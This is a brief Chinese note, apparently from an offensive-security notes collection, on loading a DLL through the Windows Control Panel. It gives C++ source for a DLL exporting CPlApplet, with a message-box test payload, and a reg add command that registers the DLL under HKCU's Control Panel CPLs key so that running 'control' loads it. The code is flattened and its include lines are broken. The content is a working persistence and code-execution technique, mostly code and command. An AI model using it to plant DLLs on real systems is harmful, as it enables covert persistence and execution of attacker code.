编译为dll，这里是弹框测试

```cpp

include ¶

include "pch.h"¶

//Cplapplet extern "C" __declspec(dllexport) LONG Cplapplet( HWND hwndCpl, UINT msg, LPARAM lParam1, LPARAM lParam2 ) { MessageBoxA(NULL, "inject control panel.", "Control Panel", 0); return 1; } BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: { Cplapplet(NULL, NULL, NULL, NULL); } case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } ```

添加到注册表中，只要运行control命令打开控制面板即可加载dll
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Control Panel\CPLs" /v spotless /d "C:\xxx\dll.dll" /f